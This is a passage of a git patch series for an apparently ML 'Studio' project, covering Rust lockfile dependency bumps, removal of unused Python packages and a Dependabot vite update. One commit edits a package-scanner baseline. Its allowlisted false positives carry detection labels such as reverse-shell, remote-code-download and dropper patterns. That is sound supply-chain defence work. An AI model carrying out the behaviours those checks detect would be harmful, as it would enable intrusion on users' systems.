 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b93bd86d231f0a8138f11a02a584769fe4b703dc36ae133d783228dbc4801405"
+checksum = "437404997acf375d85f1177afa7e11bb971f274ed6a7b83a2a3e339015f4cc28"
 dependencies = [
  "anyhow",
  "bytes",
@@ -4648,7 +4718,7 @@ dependencies = [
  "semver",
  "serde",
  "serde_json",
- "sha2",
+ "sha2 0.10.9",
  "syn 2.0.117",
  "tauri-utils",
  "thiserror 2.0.18",
@@ -4706,9 +4776,9 @@ dependencies = [
 
 [[package]]
 name = "tauri-plugin-dialog"
-version = "2.7.0"
+version = "2.7.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1fa4150c95ae391946cc8b8f905ab14797427caba3a8a2f79628e956da91809"
+checksum = "65981abb771e74e571a38196c3baa11c459379164791eba0e67abc1a5fac9884"
 dependencies = [
  "log",
  "raw-window-handle",
@@ -4724,9 +4794,9 @@ dependencies = [
 
 [[package]]
 name = "tauri-plugin-fs"
-version = "2.5.0"
+version = "2.5.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "36e1ec28b79f3d0683f4507e1615c36292c0ea6716668770d4396b9b39871ed8"
+checksum = "b7ecc274121aca0c036a2b42d1cbe83d368d348f54e0bb8a735c2b1548e8f371"
 dependencies = [
  "anyhow",
  "dunce",
@@ -4742,7 +4812,7 @@ dependencies = [
  "tauri-plugin",
  "tauri-utils",
  "thiserror 2.0.18",
- "toml 0.9.12+spec-1.1.0",
+ "toml 1.1.2+spec-1.1.0",
  "url",
 ]
 
@@ -4767,9 +4837,9 @@ dependencies = [
 
 [[package]]
 name = "tauri-plugin-opener"
-version = "2.5.3"
+version = "2.5.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc624469b06f59f5a29f874bbc61a2ed737c0f9c23ef09855a292c389c42e83f"
+checksum = "17e1bea14edce6b793a04e2417e3fd924b9bc4faae83cdee7d714156cceeed29"
 dependencies = [
  "dunce",
  "glob",
@@ -4799,9 +4869,9 @@ dependencies = [
 
 [[package]]
 name = "tauri-plugin-single-instance"
-version = "2.4.0"
+version = "2.4.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc61e4822b8f74d68278e09161d3e3fdd1b14b9eb781e24edccaabf10c420e8c"
+checksum = "5c8f29386f5e9fdc699182388a33ee80a56de436d91b67459e86afef426282af"
 dependencies = [
  "serde",
  "serde_json",
@@ -4981,10 +5051,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd"
 dependencies = [
  "fastrand",
- "getrandom 0.4.2",
+ "getrandom 0.3.4",
  "once_cell",
  "rustix",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -5116,9 +5186,9 @@ dependencies = [
 
 [[package]]
 name = "tokio"
-version = "1.50.0"
+version = "1.52.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "27ad5e34374e03cfffefc301becb44e9dc3c17584f414349ebe29ed26661822d"
+checksum = "8fc7f01b389ac15039e4dc9531aa973a135d7a4135281b12d7c1bc79fd57fffe"
 dependencies = [
  "bytes",
  "libc",
@@ -5133,9 +5203,9 @@ dependencies = [
 
 [[package]]
 name = "tokio-macros"
-version = "2.6.1"
+version = "2.7.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c55a2eff8b69ce66c84f85e1da1c233edc36ceb85a2058d11b0d6a3c7e7569c"
+checksum = "385a6cb71ab9ab790c5fe8d67f1645e6c450a7ce006a33de03daa956cf70a496"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -5195,13 +5265,28 @@ checksum = "cf92845e79fc2e2def6a5d828f0801e29a2f8acc037becc5ab08595c7d5e9863"
 dependencies = [
  "indexmap 2.13.0",
  "serde_core",
- "serde_spanned 1.0.4",
+ "serde_spanned 1.1.1",
  "toml_datetime 0.7.5+spec-1.1.0",
  "toml_parser",
  "toml_writer",
  "winnow 0.7.15",
 ]
 
+[[package]]
+name = "toml"
+version = "1.1.2+spec-1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "81f3d15e84cbcd896376e6730314d59fb5a87f31e4b038454184435cd57defee"
+dependencies = [
+ "indexmap 2.13.0",
+ "serde_core",
+ "serde_spanned 1.1.1",
+ "toml_datetime 1.1.1+spec-1.1.0",
+ "toml_parser",
+ "toml_writer",
+ "winnow 1.0.0",
+]
+
 [[package]]
 name = "toml_datetime"
 version = "0.6.3"
@@ -5222,9 +5307,9 @@ dependencies = [
 
 [[package]]
 name = "toml_datetime"
-version = "1.0.1+spec-1.1.0"
+version = "1.1.1+spec-1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b320e741db58cac564e26c607d3cc1fdc4a88fd36c879568c07856ed83ff3e9"
+checksum = "3165f65f62e28e0115a00b2ebdd37eb6f3b641855f9d636d3cd4103767159ad7"
 dependencies = [
  "serde_core",
 ]
@@ -5260,25 +5345,25 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "8ca1a40644a28bce036923f6a431df0b34236949d111cc07cb6dca830c9ef2e1"
 dependencies = [
  "indexmap 2.13.0",
- "toml_datetime 1.0.1+spec-1.1.0",
+ "toml_datetime 1.1.1+spec-1.1.0",
  "toml_parser",
  "winnow 1.0.0",
 ]
 
 [[package]]
 name = "toml_parser"
-version = "1.0.10+spec-1.1.0"
+version = "1.1.2+spec-1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7df25b4befd31c4816df190124375d5a20c6b6921e2cad937316de3fccd63420"
+checksum = "a2abe9b86193656635d2411dc43050282ca48aa31c2451210f4202550afb7526"
 dependencies = [
  "winnow 1.0.0",
 ]
 
 [[package]]
 name = "toml_writer"
-version = "1.0.7+spec-1.1.0"
+version = "1.1.1+spec-1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f17aaa1c6e3dc22b1da4b6bba97d066e354c7945cac2f7852d4e4e7ca7a6b56d"
+checksum = "756daf9b1013ebe47a8776667b466417e2d4c5679d441c26230efd9ef78692db"
 
 [[package]]
 name = "tower"
@@ -5375,7 +5460,7 @@ dependencies = [
  "png 0.18.1",
  "serde",
  "thiserror 2.0.18",
- "windows-sys 0.61.2",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -5403,9 +5488,9 @@ checksum = "bc7d623258602320d5c55d1bc22793b57daff0ec7efc270ea7d55ce1d5f5471c"
 
 [[package]]
 name = "typenum"
-version = "1.19.0"
+version = "1.20.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb"
+checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20"
 
 [[package]]
 name = "uds_windows"
@@ -5415,7 +5500,7 @@ checksum = "f2f6fb2847f6742cd76af783a2a2c49e9375d0a111c7bef6f71cd9e738c72d6e"
 dependencies = [
  "memoffset",
  "tempfile",
- "windows-sys 0.61.2",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -5495,7 +5580,7 @@ dependencies = [
  "reqwest 0.12.28",
  "serde",
  "serde_json",
- "sha2",
+ "sha2 0.11.0",
  "simplelog",
  "tauri",
  "tauri-build",
@@ -5509,7 +5594,7 @@ dependencies = [
  "tauri-plugin-window-state",
  "tokio",
  "windows 0.62.2",
- "windows-sys 0.59.0",
+ "windows-sys 0.61.2",
 ]
 
 [[package]]
@@ -5978,7 +6063,7 @@ version = "0.1.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22"
 dependencies = [
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -6650,7 +6735,7 @@ dependencies = [
  "once_cell",
  "percent-encoding",
  "raw-window-handle",
- "sha2",
+ "sha2 0.10.9",
  "soup3",
  "tao-macros",
  "thiserror 2.0.18",
diff --git a/studio/src-tauri/Cargo.toml b/studio/src-tauri/Cargo.toml
index 2250f2774f..438558fe77 100644
--- a/studio/src-tauri/Cargo.toml
+++ b/studio/src-tauri/Cargo.toml
@@ -12,8 +12,8 @@ tauri-plugin-process = "2"
 serde = { version = "1", features = ["derive"] }
 serde_json = "1"
 base64 = "0.22"
-hmac = "0.12"
-sha2 = "0.10"
+hmac = "0.13"
+sha2 = "0.11"
 reqwest = { version = "0.12", features = ["json"] }
 tokio = { version = "1", features = ["full"] }
 log = "0.4"
@@ -23,7 +23,7 @@ regex = "1"
 open = "5"
 process-wrap = { version = "9", features = ["std"] }
 fix-path-env = { git = "https://github.com/tauri-apps/fix-path-env-rs" }
-tauri-plugin-opener = "2.5.3"
+tauri-plugin-opener = "2.5.4"
 tauri-plugin-updater = "2"
 tauri-plugin-clipboard-manager = "2"
 tauri-plugin-dialog = "2"
@@ -39,7 +39,7 @@ elevated-command = "1.1.2"
 
 [target.'cfg(windows)'.dependencies]
 windows = { version = "0.62.2", features = ["Win32_System_Threading"] }
-windows-sys = { version = "0.59", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Console", "Win32_System_JobObjects", "Win32_System_Threading"] }
+windows-sys = { version = "0.61", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Console", "Win32_System_JobObjects", "Win32_System_Threading"] }
 
 [build-dependencies]
 tauri-build = { version = "2", features = [] }
diff --git a/studio/src-tauri/src/native_backend_lease.rs b/studio/src-tauri/src/native_backend_lease.rs
index 8c94a02f86..60c21664ec 100644
--- a/studio/src-tauri/src/native_backend_lease.rs
+++ b/studio/src-tauri/src/native_backend_lease.rs
@@ -1,5 +1,5 @@
 use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine as _};
-use hmac::{Hmac, Mac};
+use hmac::{Hmac, KeyInit, Mac};
 use serde::{Deserialize, Serialize};
 use sha2::{Digest, Sha256};
 use std::time::{Duration, SystemTime, UNIX_EPOCH};

From 1cc785e5a025f0364d9e6c347d8aa0baa5bca891 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Tue, 23 Jun 2026 11:20:47 -0300
Subject: [PATCH 079/306] Studio: remove OpenEnv and other unused packages
 (#6585)

* Studio: drop OpenEnv and unused ExecuTorch/open_spiel install deps

* Studio: drop 8 more unused install deps from extras

* Studio: restore tomli<3.11 for kernels; tidy dep-cleanup comments and tests

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: refresh scan-packages baseline for scipy _external + unsloth-zoo tests

scipy moved its vendored array_api_compat from scipy/_lib to
scipy/_external, so the four allowlisted array_api_compat __init__.py
entries stopped matching and resurfaced as unsuppressed CRITICAL
"Downloads and executes remote code" findings on all three pip
scan-packages shards (extras, hf-stack, studio). Add the _external
paths next to the existing _lib ones so both scipy layouts stay covered.

Allowlist two unsloth-zoo test-file false positives now present in the
hf-stack shard: tests/test_mlx_save_export_regressions.py (writes to
/tmp dropper) and tests/test_mlx_trainer_internals.py (obfuscation plus
exec/eval).

Drop nine stale entries for packages removed from the Studio
requirements and no longer in any shard closure (evaluate, pytest,
hypothesis, kgb, langid), confirmed absent via with-deps resolution of
all three shards.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 scripts/scan_packages_baseline.json           | 105 +++++++-----------
 .../backend/requirements/extras-no-deps.txt   |   4 +-
 studio/backend/requirements/extras.txt        |  29 +----
 .../requirements/single-env/constraints.txt   |   2 +-
 studio/backend/requirements/studio.txt        |   2 -
 studio/install_python_stack.py                |   3 +-
 tests/python/test_e2e_no_torch_sandbox.py     |  10 +-
 tests/python/test_no_torch_filtering.py       |   5 +-
 8 files changed, 57 insertions(+), 103 deletions(-)

diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index 67952c24f1..f953f4d206 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -72,13 +72,6 @@
       "severity": "CRITICAL",
       "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()"
     },
-    {
-      "package": "evaluate",
-      "file": "evaluate/utils/file_utils.py",
-      "check": "C2 polling/beaconing loop detected",
-      "severity": "CRITICAL",
-      "evidence": "L261: while True:"
-    },
     {
       "package": "execnet",
       "file": "execnet/gateway_base.py",
@@ -401,27 +394,6 @@
       "severity": "CRITICAL",
       "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name], | L100: p = subprocess.Popen(['pbcopy', 'w'], | L105: p = subprocess.Popen(['pbpaste', 'r'],"
     },
-    {
-      "package": "pytest",
-      "file": "_pytest/_py/path.py",
-      "check": "Downloads and executes remote code",
-      "severity": "CRITICAL",
-      "evidence": "L1153: exec(f.read(), mod.__dict__)"
-    },
-    {
-      "package": "pytest",
-      "file": "_pytest/capture.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L483: os.dup2(self.targetfd_invalid, targetfd) | L522: os.dup2(self.tmpfile.fileno(), self.targetfd) | L532: os.dup2(self.targetfd_save, self.targetfd)"
-    },
-    {
-      "package": "pytest",
-      "file": "_pytest/config/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L260: os.dup2(devnull, sys.stdout.fileno())"
-    },
     {
       "package": "python-dateutil",
       "file": "dateutil/__init__.py",
@@ -527,6 +499,34 @@
       "severity": "CRITICAL",
       "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"
     },
+    {
+      "package": "scipy",
+      "file": "scipy/_external/array_api_compat/cupy/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"
+    },
+    {
+      "package": "scipy",
+      "file": "scipy/_external/array_api_compat/dask/array/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"
+    },
+    {
+      "package": "scipy",
+      "file": "scipy/_external/array_api_compat/numpy/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"
+    },
+    {
+      "package": "scipy",
+      "file": "scipy/_external/array_api_compat/torch/__init__.py",
+      "check": "Downloads and executes remote code",
+      "severity": "CRITICAL",
+      "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"
+    },
     {
       "package": "sentencepiece",
       "file": "sentencepiece/__init__.py",
@@ -814,6 +814,13 @@
       "severity": "CRITICAL",
       "evidence": "L67: input_gguf=\"/tmp/in.gguf\","
     },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_mlx_save_export_regressions.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L164: temporary_location=\"/tmp/ignored\","
+    },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_upstream_pinned_symbols_transformers.py",
@@ -933,13 +940,6 @@
       "severity": "HIGH",
       "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))"
     },
-    {
-      "package": "hypothesis",
-      "file": "hypothesis/internal/scrutineer.py",
-      "check": "Anti-analysis/sandbox evasion + suspicious behavior",
-      "severity": "HIGH",
-      "evidence": "Anti: L76: return sys.gettrace() is None | L113: sys.settrace(self.trace) | L136: sys.settrace(None)"
-    },
     {
       "package": "ipython",
       "file": "IPython/core/debugger.py",
@@ -982,20 +982,6 @@
       "severity": "HIGH",
       "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)"
     },
-    {
-      "package": "kgb",
-      "file": "kgb/spies.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L934: eval(compile(func_code_str, '<string>', 'exec'),\nExec: L934: eval(compile(func_code_str, '<string>', 'exec'),"
-    },
-    {
-      "package": "langid",
-      "file": "langid/train/common.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L44: yield marshal.load(t)\nExec: L85: key = eval(row[0])"
-    },
     {
       "package": "matplotlib",
       "file": "matplotlib/sphinxext/plot_directive.py",
@@ -1108,20 +1094,6 @@
       "severity": "HIGH",
       "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)"
     },
-    {
-      "package": "pytest",
-      "file": "_pytest/_py/path.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L626: mod = __import__(hashtype) | L1118: __import__(modname)\nExec: L1153: exec(f.read(), mod.__dict__)"
-    },
-    {
-      "package": "pytest",
-      "file": "_pytest/assertion/rewrite.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L393: co = marshal.load(fp) | L395: trace(f\"_read_pyc({source}): marshal.load error {e}\")\nExec: L188: exec(co, module.__dict__)"
-    },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/torch/__init__.py",
@@ -1318,6 +1290,13 @@
       "severity": "HIGH",
       "evidence": "Obfusc: L3078: module = __import__('transformers', fromlist=[model_class_name])\nExec: L2960: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3006: exec(save_pretrained, globals(), functions)"
     },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_mlx_trainer_internals.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L430: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408: def eval(self):"
+    },
     {
       "package": "werkzeug",
       "file": "werkzeug/routing/rules.py",
diff --git a/studio/backend/requirements/extras-no-deps.txt b/studio/backend/requirements/extras-no-deps.txt
index 23c61baa44..5830a47789 100644
--- a/studio/backend/requirements/extras-no-deps.txt
+++ b/studio/backend/requirements/extras-no-deps.txt
@@ -11,10 +11,12 @@ peft==0.18.1
 
 # TRL and related packages
 trl==0.23.1
-git+https://github.com/meta-pytorch/OpenEnv.git
 # executorch>=1.0.1               # 41.5 MB - no imports in unsloth/zoo/studio
 torch-c-dlpack-ext
 sentence_transformers==5.2.0
 transformers==4.57.6
 pytorch_tokenizers
 kernels==0.12.1
+# kernels<3.11 imports tomli as its tomllib fallback; --no-deps skips its own
+# marker dep, so list it here (no-op on the 3.12/3.13 default installs).
+tomli; python_version < "3.11"
diff --git a/studio/backend/requirements/extras.txt b/studio/backend/requirements/extras.txt
index b56c2dfa40..1baf2b6f2d 100644
--- a/studio/backend/requirements/extras.txt
+++ b/studio/backend/requirements/extras.txt
@@ -1,27 +1,11 @@
-# OpenEnv dependencies
-tomli
-tomli-w
-
-# ExecuTorch dependencies
-ruamel.yaml
-# coremltools                    # 10.2 MB - Apple CoreML, no imports in unsloth/zoo/studio
-expecttest
+# transitive dep of onnxruntime (via data-designer's pymupdf4llm)
 flatbuffers
-hydra-core
-hypothesis
-kgb
-parameterized
-pytest>=9.0.3,<10
-pytest-json-report
-pytest-rerunfailures>=16.2,<17
-pytest-xdist
-# Also needed by sentence_transformers (installed with --no-deps in extras-no-deps.txt)
+# Also needed by sentence_transformers (installed with --no-deps in extras-no-deps.txt);
+# librosa pulls it in too, but is skipped in no-torch mode.
 scikit-learn==1.7.1
 
 # Additional extras
-pybind11
-langid
-jiwer
+jiwer                            # WER/CER metrics for vision OCR save-merge benchmarks
 omegaconf
 einx
 pyloudnorm
@@ -44,12 +28,7 @@ pystoi
 soundfile
 tensorboard
 torch-stoi
-evaluate
 timm
-transformers-cfg
-open_spiel
-addict
-easydict
 einops
 tabulate
 openai>=2.7.2
diff --git a/studio/backend/requirements/single-env/constraints.txt b/studio/backend/requirements/single-env/constraints.txt
index 9e81880016..0ed2bf8b26 100644
--- a/studio/backend/requirements/single-env/constraints.txt
+++ b/studio/backend/requirements/single-env/constraints.txt
@@ -8,7 +8,7 @@ huggingface-hub==0.36.2
 datasets==4.3.0
 pyarrow==23.0.1
 
-# FastMCP/OpenEnv compat
+# FastMCP compat
 fastmcp>=3.0.2
 mcp>=1.24,<2
 websockets>=15.0.1
diff --git a/studio/backend/requirements/studio.txt b/studio/backend/requirements/studio.txt
index 9efa10faef..1b7f7a668c 100644
--- a/studio/backend/requirements/studio.txt
+++ b/studio/backend/requirements/studio.txt
@@ -9,8 +9,6 @@ pandas
 nest_asyncio
 datasets==4.3.0
 pyjwt
-easydict
-addict
 # gradio>=4.0.0                  # 148 MB - Studio uses React + FastAPI, not Gradio
 huggingface-hub==0.36.2
 structlog>=24.1.0
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index 491429a4ef..e6095748fe 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -1658,7 +1658,7 @@ def run(
 
 
 # Packages to skip on Windows (require special build steps)
-WINDOWS_SKIP_PACKAGES = {"open_spiel", "triton_kernels"}
+WINDOWS_SKIP_PACKAGES = {"triton_kernels"}
 
 # Packages to skip when torch is unavailable (Intel Mac GGUF-only mode).
 # These either *are* torch extensions or have unconditional
@@ -1675,7 +1675,6 @@ NO_TORCH_SKIP_PACKAGES = {
     "torchcodec",
     "torch-c-dlpack-ext",
     "openai-whisper",
-    "transformers-cfg",
     "librosa",
 }
 
diff --git a/tests/python/test_e2e_no_torch_sandbox.py b/tests/python/test_e2e_no_torch_sandbox.py
index 23d4a2c2b3..f412de2063 100644
--- a/tests/python/test_e2e_no_torch_sandbox.py
+++ b/tests/python/test_e2e_no_torch_sandbox.py
@@ -866,13 +866,11 @@ class TestInstallPythonStackFiltering:
 
         result_path = ips._filter_requirements(extras, ips.NO_TORCH_SKIP_PACKAGES)
         filtered = Path(result_path).read_text(encoding = "utf-8").lower()
+        lines = [
+            l.strip() for l in filtered.splitlines() if l.strip() and not l.strip().startswith("#")
+        ]
 
-        for pkg in ["torch-stoi", "timm", "openai-whisper", "transformers-cfg"]:
-            lines = [
-                l.strip()
-                for l in filtered.splitlines()
-                if l.strip() and not l.strip().startswith("#")
-            ]
+        for pkg in ips.NO_TORCH_SKIP_PACKAGES:
             assert not any(
                 l.startswith(pkg) for l in lines
             ), f"{pkg} should be removed from extras.txt"
diff --git a/tests/python/test_no_torch_filtering.py b/tests/python/test_no_torch_filtering.py
index 9dcda5c60c..732c1b7432 100644
--- a/tests/python/test_no_torch_filtering.py
+++ b/tests/python/test_no_torch_filtering.py
@@ -138,7 +138,6 @@ class TestFilterRequirements:
         req = self._write_req(
             tmp_path,
             """\
-            open_spiel
             triton_kernels
             torch-stoi
             timm
@@ -222,8 +221,8 @@ class TestRealRequirementsFiltering:
         filtered = self._non_blank_non_comment(Path(result))
         original = self._non_blank_non_comment(EXTRAS_TXT)
 
-        # These must be gone.
-        for pkg in ["torch-stoi", "timm", "openai-whisper", "transformers-cfg"]:
+        # Every NO_TORCH skip package present in extras.txt must be gone.
+        for pkg in ips.NO_TORCH_SKIP_PACKAGES:
             assert not any(
                 l.lower().startswith(pkg) for l in filtered
             ), f"{pkg} should be removed from extras.txt"

From 86ec407f9b58e24e87de0bdaf23b8bdf659ebf9a Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Tue, 23 Jun 2026 16:58:59 +0200
Subject: [PATCH 080/306] Bump vite (#6354)

Bumps the npm-frontend-security group with 1 update in the /studio/frontend directory: [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite).


Updates `vite` from 8.0.10 to 8.0.16
- [Release notes](https://github.com/vitejs/vite/releases)
- [Changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md)
- [Commits](https://github.com/vitejs/vite/commits/v8.0.16/packages/vite)

---
updated-dependencies:
- dependency-name: vite
  dependency-version: 8.0.16
  dependency-type: direct:development
  dependency-group: npm-frontend-security
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
---
 studio/frontend/package-lock.json | 328 ++++++++++++++----------------
 studio/frontend/package.json      |   2 +-
 2 files changed, 151 insertions(+), 179 deletions(-)

diff --git a/studio/frontend/package-lock.json b/studio/frontend/package-lock.json
index a521552d79..6202d3ce22 100644
--- a/studio/frontend/package-lock.json
+++ b/studio/frontend/package-lock.json
@@ -88,7 +88,7 @@
         "globals": "^17.4.0",
         "typescript": "~5.9.3",
         "typescript-eslint": "^8.55.0",
-        "vite": "^8.0.1"
+        "vite": "^8.0.16"
       },
       "engines": {
         "node": "^20.19.0 || >=22.12.0"
@@ -1913,13 +1913,13 @@
       }
     },
     "node_modules/@napi-rs/wasm-runtime": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.4.tgz",
-      "integrity": "sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow==",
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.5.tgz",
+      "integrity": "sha512-AWPoBRJ9tsnVhor4sjO7rkni+7p+2IAEFj6cx06UgP10jkQHqay/36uRV/bFkgrh18D9vb4cr8Q0Pthskgzy+Q==",
       "license": "MIT",
       "optional": true,
       "dependencies": {
-        "@tybys/wasm-util": "^0.10.1"
+        "@tybys/wasm-util": "^0.10.2"
       },
       "funding": {
         "type": "github",
@@ -2027,9 +2027,9 @@
       "license": "MIT"
     },
     "node_modules/@oxc-project/types": {
-      "version": "0.127.0",
-      "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.127.0.tgz",
-      "integrity": "sha512-aIYXQBo4lCbO4z0R3FHeucQHpF46l2LbMdxRvqvuRuW2OxdnSkcng5B8+K12spgLDj93rtN3+J2Vac/TIO+ciQ==",
+      "version": "0.133.0",
+      "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.133.0.tgz",
+      "integrity": "sha512-KzkdCd6Uxqnf6l3HOw1xfatAlUURA0g14cvBYFyJ5SaNOQbOUvBr9PKArcPcrNIeRsBdgcUzOGrhKveVpvOIGA==",
       "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/Boshen"
@@ -5583,9 +5583,9 @@
       }
     },
     "node_modules/@rolldown/binding-android-arm64": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.0-rc.17.tgz",
-      "integrity": "sha512-s70pVGhw4zqGeFnXWvAzJDlvxhlRollagdCCKRgOsgUOH3N1l0LIxf83AtGzmb5SiVM4Hjl5HyarMRfdfj3DaQ==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.3.tgz",
+      "integrity": "sha512-454rs7jHngixp/NMxd5srYD57OnzSlZ/eFTETjORQHLwJG1lRtmNOJcBerZlfu4GjKqeq8aCCIQrMdHyhI51Hw==",
       "cpu": [
         "arm64"
       ],
@@ -5599,9 +5599,9 @@
       }
     },
     "node_modules/@rolldown/binding-darwin-arm64": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.0-rc.17.tgz",
-      "integrity": "sha512-4ksWc9n0mhlZpZ9PMZgTGjeOPRu8MB1Z3Tz0Mo02eWfWCHMW1zN82Qz/pL/rC+yQa+8ZnutMF0JjJe7PjwasYw==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.3.tgz",
+      "integrity": "sha512-PcAhP+ynjURNyy8SKGl5DQP94aGuB/7JrXJb/t7P+hanXvQVMWzUvRRhBAcg/lNRadBhoUPqSoP4xw5tR/KBEA==",
       "cpu": [
         "arm64"
       ],
@@ -5615,9 +5615,9 @@
       }
     },
     "node_modules/@rolldown/binding-darwin-x64": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.0-rc.17.tgz",
-      "integrity": "sha512-SUSDOI6WwUVNcWxd02QEBjLdY1VPHvlEkw6T/8nYG322iYWCTxRb1vzk4E+mWWYehTp7ERibq54LSJGjmouOsw==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.3.tgz",
+      "integrity": "sha512-9YpfeUvSE2RS7wysJ81uOZkXJz7f7Q55H2Gvp3VEw/EsahqDtrphrZ0EwDLK5vvKOzaCrBsjF8JmnMLcUt78Gg==",
       "cpu": [
         "x64"
       ],
@@ -5631,9 +5631,9 @@
       }
     },
     "node_modules/@rolldown/binding-freebsd-x64": {
-      "version": "1.0.0-rc.17",
